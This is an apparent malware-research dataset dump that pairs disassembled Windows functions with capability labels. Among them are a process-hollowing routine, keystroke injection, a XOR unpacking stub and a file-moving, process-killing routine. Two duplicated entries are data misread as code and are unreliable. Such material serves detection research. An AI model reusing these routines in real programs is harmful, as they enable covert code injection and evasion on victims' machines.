joyce8/EMBER2024-capa huggingface dataset:
Function at 0x449c9c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404888
mov eax, dword [ebp - 8]
call fcn.00404888
xor eax, eax
push ebp
push 0x449d4c
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x449d27
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x20106
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00404898
mov edx, eax
xor ecx, ecx
mov eax, ebx
call fcn.004457f4
test eax, eax
jne 0x449d15
push 4
lea eax, [ebp + 8]
push eax
push 4
push 0
mov eax, dword [ebp - 8]
call fcn.00404898
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 0xc]
call fcn.004457cc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x449d31
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x449d53
lea eax, [ebp - 8]
mov edx, 2
call fcn.004043e0
ret
Function at 0x44a8e4
Capabilities:
Create process on windows
Create process suspended
Resume thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xffffff60
push ebx
xor edx, edx
mov dword [ebp - 0x109c], edx
mov dword [ebp - 0x10a0], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404888
xor eax, eax
push ebp
push 0x44aac1
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0xc]
mov eax, 8
call fcn.00449e4c
mov eax, 0x44aad8
call fcn.00445db4
test al, al
jne 0x44a947
mov eax, 0x44aad8
call fcn.00445780
lea ecx, [ebp - 0x10a0]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.004478f8
mov ecx, dword [ebp - 0x10a0]
lea eax, [ebp - 0x109c]
mov edx, dword [ebp - 0xc]
call fcn.004046e4
mov edx, dword [ebp - 0x109c]
mov eax, 0x44aae8
call fcn.004459bc
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 8]
call fcn.00441444
lea eax, [ebp - 0x80]
mov edx, 0x44
call fcn.00406f38
lea eax, [ebp - 0x38]
mov edx, 0x10
call fcn.00406f38
mov dword [ebp - 0x80], 0x44
mov word [ebp - 0x50], 0
mov dword [ebp - 0x54], 1
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x80]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404898
mov ebx, eax
push ebx
push ebx
call sub.kernel32.dll_CreateProcessA_1
lea eax, [ebp - 0x10]
push eax
push 0x18
lea eax, [ebp - 0x98]
push eax
push 0
mov eax, dword [ebp - 0x38]
push eax
call sub.ntdll.dll_NtQueryInformationProcess
mov eax, dword [ebp - 0x94]
add eax, 8
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x24], eax
push 4
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x24]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x38]
call fcn.004456c0
lea eax, [ebp - 0x1098]
xor ecx, ecx
mov edx, 0x1000
call fcn.004030e4
push 0x1000
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x1098]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
call fcn.004456c0
lea ecx, [ebp - 0x1098]
mov dword [ebp - 0x18], ecx
mov eax, ecx
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0x24]
mov dword [ebp - 0x14], eax
push 0xb10
lea eax, [ebp - 0x28]
push eax
mov ecx, 0x456984
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x38]
call fcn.00445638
mov eax, dword [ebp - 0x34]
push eax
call sub.kernel32.dll_ResumeThread
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44aac8
lea eax, [ebp - 0x10a0]
mov edx, 2
call fcn.004043e0
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004043e0
ret
Function at 0x44ab64
Capabilities:
Log keystrokes

Disassembly:
push 0
push 0
push 0
push 0x11
call sub.user32.dll_keybd_event
push 0
push 0
push 0
push 0x41
call sub.user32.dll_MapVirtualKeyA
push eax
push 0x41
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x41
call sub.user32.dll_MapVirtualKeyA
push eax
push 0x41
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x11
call sub.user32.dll_keybd_event
push 0
push 0
push 0
push 0x11
call sub.user32.dll_keybd_event
push 0
push 0
push 0
push 0x43
call sub.user32.dll_MapVirtualKeyA
push eax
push 0x43
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x43
call sub.user32.dll_MapVirtualKeyA
push eax
push 0x43
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x11
call sub.user32.dll_keybd_event
ret

Function at 0x44bafc
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
mov esi, ecx
mov ebx, edx
mov edi, eax
xor eax, eax
push ebp
push 0x44bc05
push dword fs:[eax]
mov dword fs:[eax], esp
mov al, 1
call fcn.00433cb4
mov dl, 1
mov eax, dword [0x426324]
call fcn.00429954
mov dword [ebp - 4], eax
xor edx, edx
push ebp
push 0x44bbf0
push dword fs:[edx]
mov dword fs:[edx], esp
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.0044bf20
push 0
push 0
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp + 0xc]
mov edx, esi
mov eax, ebx
call fcn.00431574
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x58]
push 1
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x457520]
cmp byte [eax], 0
jne 0x44bb66
mov eax, dword [0x45763c]
mov byte [eax], 1
lea eax, [ebp - 0x24]
push eax
push 0
lea eax, [ebp - 8]
push eax
mov ecx, 0x4315f0
xor edx, edx
xor eax, eax
call fcn.00404370
mov ebx, eax
push 0x1770
push ebx
call sub.kernel32.dll_WaitForSingleObject
mov edx, dword [0x45763c]
mov byte [edx], 0
sub eax, 1
jae 0x44bbca
mov ebx, dword [ebp - 0x24]
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov ecx, eax
mov edx, dword [ebx + 4]
mov eax, dword [ebp + 8]
call fcn.004044ac
jmp 0x44bbd2
push 0
push ebx
call sub.kernel32.dll_TerminateThread
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44bbf7
mov eax, dword [ebp - 4]
call fcn.00403698
mov eax, dword [ebp - 0x24]
call fcn.00403698
ret
Function at 0x44bd10
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffedc
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x124], edx
mov dword [ebp - 0x120], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44beeb
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov dl, 1
mov eax, dword [0x4151fc]
call fcn.00403668
mov dword [ebp - 0xc], eax
mov dl, 1
mov eax, dword [0x4151fc]
call fcn.00403668
mov edx, dword [ebp + 8]
mov dword [edx - 4], eax
xor eax, eax
push ebp
push 0x44bec6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xc]
push eax
push 0x44bcf8
call sub.user32.dll_EnumWindows
mov eax, dword [ebp - 0xc]
mov esi, dword [eax + 8]
dec esi
test esi, esi
jl 0x44bea4
inc esi
xor ebx, ebx
mov edx, ebx
mov eax, dword [ebp - 0xc]
call fcn.004160fc
mov edx, eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.00416160
inc eax
jne 0x44be9c
push pe_nt_image_headers32
lea eax, [ebp - 0x10c]
push eax
mov edx, ebx
mov eax, dword [ebp - 0xc]
call fcn.004160fc
push eax
call sub.user32.dll_GetClassNameA
lea eax, [ebp - 0x120]
lea edx, [ebp - 0x10c]
mov ecx, pe_nt_image_headers32
call fcn.0040462c
mov eax, dword [ebp - 0x120]
mov edx, 0x44bf04
call fcn.004047e4
jne 0x44bdfe
mov edx, ebx
mov eax, dword [ebp - 0xc]
call fcn.004160fc
mov dword [ebp - 8], eax
lea eax, [ebp - 0x124]
lea edx, [ebp - 0x10c]
mov ecx, pe_nt_image_headers32
call fcn.0040462c
mov edx, dword [ebp - 0x124]
mov eax, 0x44bf14
call fcn.00404980
test eax, eax
jle 0x44be35
mov edx, ebx
mov eax, dword [ebp - 0xc]
call fcn.004160fc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x44be9c
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x44be9c
lea eax, [ebp - 0x11c]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_GetWindowRect
test eax, eax
je 0x44be9c
mov dl, 1
mov eax, dword [0x426324]
call fcn.00429954
mov edi, eax
mov cl, 1
mov edx, edi
mov eax, dword [ebp - 8]
call fcn.0044bc18
push edi
mov eax, dword [ebp - 4]
call fcn.00429eb0
mov ecx, dword [ebp - 0x118]
mov edx, dword [ebp - 0x11c]
call fcn.004279d8
mov eax, edi
call fcn.00403698
xor eax, eax
mov dword [ebp - 8], eax
inc ebx
dec esi
jne 0x44bd8f
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44becd
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.00403698
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0xc]
mov dword [eax - 4], edx
ret

Function at 0x44c314
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404888
xor eax, eax
push ebp
push 0x44c377
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x44c38c
call fcn.004046a0
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
call fcn.00404698
push eax
lea eax, [ebp - 4]
call fcn.004048f0
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44c37e
lea eax, [ebp - 4]
call fcn.004043bc
ret
Function at 0x44c390
Capabilities:
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 8
add esp, 0xfffff004
push eax
dec eax
jne 0x44c399
mov eax, dword [ebp - 4]
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov esi, ecx
mov edi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x44c456
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.004043bc
mov dword [ebp - 0xc], 0x7fff
push edi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 0
push ebx
call sub.kernel32.dll_PeekNamedPipe
cmp dword [ebp - 8], 0
jbe 0x44c440
push 0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x800b]
push eax
push ebx
call sub.kernel32.dll_ReadFile
lea eax, [ebp - 0x800b]
push eax
lea eax, [ebp - 0x800b]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 4]
lea edx, [ebp - 0x800b]
mov ecx, 0x7fff
call fcn.004044ac
lea eax, [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.004049c8
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00404410
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44c45d
lea eax, [ebp - 4]
call fcn.004043bc
ret
Function at 0x44ca1c
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x44cd1e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x45906c]
push eax
call sub.user32.dll_SetThreadDesktop
mov bl, 1
mov edx, 0x44cd30
xor eax, eax
call fcn.00445358
mov edi, eax
test edi, edi
jne 0x44ca67
mov eax, 0x44cd4c
xor edx, edx
call fcn.00445358
mov edi, eax
test edi, edi
jne 0x44ca83
push 0x1770
call sub.kernel32.dll_Sleep_1
mov eax, 0x44cd4c
xor edx, edx
call fcn.00445358
mov edi, eax
test edi, edi
jne 0x44ca9f
push 0x1770
call sub.kernel32.dll_Sleep_1
mov eax, 0x44cd4c
xor edx, edx
call fcn.00445358
mov edi, eax
test edi, edi
jne 0x44cab4
mov eax, 0x44cd5c
call fcn.0043f944
xor ebx, ebx
jmp 0x44cd03
mov eax, 0x44cd84
call fcn.0043f944
test edi, edi
je 0x44cd03
push 0xc8
call sub.kernel32.dll_Sleep_1
push 0
push 9
push pe_nt_image_headers32
push edi
call sub.user32.dll_PostMessageA
push 0
push 9
push 0x101
push edi
call sub.user32.dll_PostMessageA
push 0xc8
call sub.kernel32.dll_Sleep_1
push 0
push 9
push pe_nt_image_headers32
push edi
call sub.user32.dll_PostMessageA
push 0
push 9
push 0x101
push edi
call sub.user32.dll_PostMessageA
push 0xc8
call sub.kernel32.dll_Sleep_1
push 0
push 9
push pe_nt_image_headers32
push edi
call sub.user32.dll_PostMessageA
push 0
push 9
push 0x101
push edi
call sub.user32.dll_PostMessageA
push 0xc8
call sub.kernel32.dll_Sleep_1
push 0
push 0xd
push pe_nt_image_headers32
push edi
call sub.user32.dll_PostMessageA
push 0
push 0xd
push 0x101
push edi
call sub.user32.dll_PostMessageA
xor edi, edi
push 0x7d0
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x45906c]
push eax
call sub.user32.dll_SetThreadDesktop
push 0x64
call sub.kernel32.dll_Sleep_1
mov dl, 1
mov eax, dword [0x4155c4]
call fcn.00403668
mov edx, dword [0x4576fc]
mov dword [edx], eax
mov dl, 1
mov eax, dword [0x4155c4]
call fcn.00403668
mov edx, dword [0x4575e8]
mov dword [edx], eax
xor esi, esi
push esi
push 0x4306a4
call sub.user32.dll_EnumWindows
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x44cbcd
mov eax, 0x44cda4
call fcn.0043f944
push 0x44cdc0
mov eax, dword [0x4578ac]
push dword [eax]
lea edx, [ebp - 0xc]
mov eax, dword [0x4576fc]
mov eax, dword [eax]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
push dword [ebp - 0xc]
mov eax, dword [0x4578ac]
push dword [eax]
push 0x44cddc
mov eax, dword [0x4578ac]
push dword [eax]
lea edx, [ebp - 0x10]
mov eax, dword [0x4575e8]
mov eax, dword [eax]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
push dword [ebp - 0x10]
lea eax, [ebp - 8]
mov edx, 7
call fcn.00404758
mov eax, dword [ebp - 8]
call fcn.0043f944
jmp 0x44cd03
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44cd25
lea eax, [ebp - 0x20]
mov edx, 7
call fcn.004043e0
ret
Function at 0x44d8fc
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
xor eax, eax
push ebp
push 0x44d967
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x44d97c
call fcn.00404454
push 0
push 0
lea eax, [ebp - 8]
mov ecx, dword [ebp - 4]
mov edx, 0x44da44
call fcn.004046e4
mov eax, dword [ebp - 8]
call fcn.00404898
push eax
push 0x44da48
push 0x44da50
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44d96e
lea eax, [ebp - 8]
mov edx, 2
call fcn.004043e0
ret
Function at 0x40a935
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x411488
cmp edx, dword [eax]
je 0x40a957
add eax, 8
inc ecx
cmp eax, 0x411518
jl 0x40a948
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x411488]
jne 0x40aa85
mov eax, dword [0x491ec0]
cmp eax, 1
je 0x40aa5f
test eax, eax
jne 0x40a988
cmp dword [0x4110b4], 1
je 0x40aa5f
cmp edx, 0xfc
je 0x40aa85
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40a9bf
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00407370
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00407460
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40aa02
lea eax, [ebp - 0x1a4]
push eax
call fcn.00407460
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40d5b0
push edi
call fcn.0040abe0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00407370
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00407380
lea eax, [ebp - 0xa0]
push 0x40d590
push eax
call fcn.00407380
push dword [esi + 0x41148c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00407380
push pe_overlay
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040bcb8
add esp, 0x2c
pop edi
jmp 0x40aa85
lea eax, [ebp + 8]
lea esi, [esi + 0x41148c]
push 0
push eax
push dword [esi]
call fcn.00407460
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
jl 0x431030
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x402118
Capabilities:
Copy file
Move file
Terminate process

Disassembly:
jbe 0x402084
add byte [eax], al
bound ebp, qword [eax + eax]
add byte [eax], al
add byte [eax], al
add byte [eax], dh
sub al, 0
add byte [eax], al
add byte [eax], al
add byte [edx], cl
or ch, byte [eax + eax]
add byte [eax], al
add byte [eax], al
add byte [0x73252073], ah
and byte [ecx + 0x6e], ch
jae 0x4020c6
and eax, 0x73
add byte [ebx + 0x74], ah
insd dword es:[edi], dx
xor dword [0x2e323030], esi
js 0x40211d
add byte [eax], al
add byte [eax], al
jb 0x402133
outsb dx, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
xor esi, dword [edx]
js 0x40212d
js 0x40212d
add byte [eax], al
add byte [eax], al
outsw dx, word [esi]
outsb dx, byte [esi]
je 0x402144
pop esp
arpl word [ebp + ebp*2 + 0x31], si
xor eax, 0x2e323030
outsw dx, word [esi]
outsb dx, byte [esi]
add byte [eax], al
inc ebx
insb byte es:[edi], dx
imul esp, dword [ebp + 0x6e], 0x78652e74
add byte gs:[eax], al
outsw dx, word [esi]
outsb dx, byte [esi]
je 0x402164
pop esp
arpl word [ebp + ebp*2 + 0x31], si
xor eax, 0x2e323030
je 0x402171
add byte [eax], al
outsw dx, word [esi]
outsb dx, byte [esi]
je 0x402178
pop esp
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
push edx
jae 0x40213b
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], al
inc edx
dec ecx
dec esi
add byte [ebx + 0x79], dh
jae 0x40217f
je 0x40218b
insd dword es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
push edx
jae 0x402159
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
and eax, 0x73255c73
add byte [eax], al
add byte [eax + 0x26], al
and eax, dword [eax]
and eax, 0x73
inc eax
and eax, dword es:[eax]
add byte [ebx + 0x66], dh
jae 0x4021a4
arpl word [edi + 0x6f], bx
jae 0x402171
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
push edi
imul ebp, dword [esi + 0x53], 0x5c306174
inc esp
popaw
jne 0x4021c2
je entry0
test esp, edi
invalid
lds eax, [edx]
add byte [eax], al
invalid
add byte [eax], al
inc eax
add al, ch
test al, 2
add byte [eax], al
invalid
Function at 0x402138
Capabilities:
Copy file
Move file
Terminate process

Disassembly:
jbe 0x402084
add byte [eax], al
bound ebp, qword [eax + eax]
add byte [eax], al
add byte [eax], al
add byte [eax], dh
sub al, 0
add byte [eax], al
add byte [eax], al
add byte [edx], cl
or ch, byte [eax + eax]
add byte [eax], al
add byte [eax], al
add byte [0x73252073], ah
and byte [ecx + 0x6e], ch
jae 0x4020c6
and eax, 0x73
add byte [ebx + 0x74], ah
insd dword es:[edi], dx
xor dword [0x2e323030], esi
js 0x40211d
add byte [eax], al
add byte [eax], al
jb 0x402133
outsb dx, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
xor esi, dword [edx]
js 0x40212d
js 0x40212d
add byte [eax], al
add byte [eax], al
outsw dx, word [esi]
outsb dx, byte [esi]
je 0x402144
pop esp
arpl word [ebp + ebp*2 + 0x31], si
xor eax, 0x2e323030
outsw dx, word [esi]
outsb dx, byte [esi]
add byte [eax], al
inc ebx
insb byte es:[edi], dx
imul esp, dword [ebp + 0x6e], 0x78652e74
add byte gs:[eax], al
outsw dx, word [esi]
outsb dx, byte [esi]
je 0x402164
pop esp
arpl word [ebp + ebp*2 + 0x31], si
xor eax, 0x2e323030
je 0x402171
add byte [eax], al
outsw dx, word [esi]
outsb dx, byte [esi]
je 0x402178
pop esp
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
push edx
jae 0x40213b
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], al
inc edx
dec ecx
dec esi
add byte [ebx + 0x79], dh
jae 0x40217f
je 0x40218b
insd dword es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
push edx
jae 0x402159
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
and eax, 0x73255c73
add byte [eax], al
add byte [eax + 0x26], al
and eax, dword [eax]
and eax, 0x73
inc eax
and eax, dword es:[eax]
add byte [ebx + 0x66], dh
jae 0x4021a4
arpl word [edi + 0x6f], bx
jae 0x402171
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
push edi
imul ebp, dword [esi + 0x53], 0x5c306174
inc esp
popaw
jne 0x4021c2
je entry0
test esp, edi
invalid
lds eax, [edx]
add byte [eax], al
invalid
add byte [eax], al
inc eax
add al, ch
test al, 2
add byte [eax], al
invalid
Function at 0x402158
Capabilities:
Copy file
Move file
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe44
push ebx
push esi
lea eax, [ebp - 0x104]
push edi
push eax
push 0x402124
call fcn.0040243a
lea eax, [ebp - 0x104]
push eax
call fcn.004024e0
lea eax, [ebp - 0x410]
push eax
push 0x402118
call fcn.0040243a
mov edi, dword [0x40208c]
add esp, 0x14
lea eax, [ebp - 0x410]
push eax
call edi
test eax, eax
jne 0x4021be
lea eax, [ebp - 0x410]
push 1
push eax
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERN_MoveFileExA]
lea eax, [ebp - 0x104]
mov esi, 0x402114
push eax
push 0x65
xor ebx, ebx
push esi
push ebx
call fcn.00402596
lea eax, [ebp - 0x30c]
push eax
push 0x402100
call fcn.0040248d
lea eax, [ebp - 0x30c]
push eax
push 0x65
push esi
push ebx
call fcn.00402596
lea eax, [ebp - 0x514]
push eax
push 0x4020ec
call fcn.0040248d
add esp, 0x30
lea eax, [ebp - 0x514]
push eax
call edi
test eax, eax
jne 0x402252
lea eax, [ebp - 0x514]
push eax
push 0x66
push esi
push ebx
call fcn.00402596
push 0x4020e0
call fcn.0040232e
add esp, 0x14
push eax
push ebx
push 0x1f0fff
call dword [sym.imp.KERN_OpenProcess]
mov esi, eax
push ebx
push esi
call dword [sym.imp.KERN_TerminateProcess]
push esi
call dword [sym.imp.KERN_CloseHandle]
lea eax, [ebp - 0x71c]
push eax
push 0x4020cc
call fcn.0040248d
pop ecx
lea eax, [ebp - 0x208]
pop ecx
push 0x104
push eax
push ebx
call dword [sym.imp.KERN_GetModuleFileNameA]
lea eax, [ebp - 0x208]
push eax
call fcn.00402647
mov esi, 0x520
sub eax, esi
push eax
lea eax, [ebp - 0xe44]
push esi
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.004026a8
push esi
lea eax, [ebp - 0xe44]
push eax
lea eax, [ebp - 0x71c]
push eax
call fcn.00402721
lea eax, [ebp - 0x924]
push eax
push 0x4020bc
call fcn.0040243a
lea eax, [ebp - 0x618]
push eax
push 0x4020ac
call fcn.0040243a
add esp, 0x30
lea eax, [ebp - 0x618]
push 1
push eax
lea eax, [ebp - 0x924]
push eax
call dword [sym.imp.KERN_CopyFileA]
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x30c]
push eax
lea eax, [ebp - 0x618]
push eax
lea eax, [ebp - 0x820]
push 0x40209c
push eax
call dword [fcn.00402094]
lea eax, [ebp - 0x820]
push eax
call fcn.0040278c
add esp, 0x18
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0x10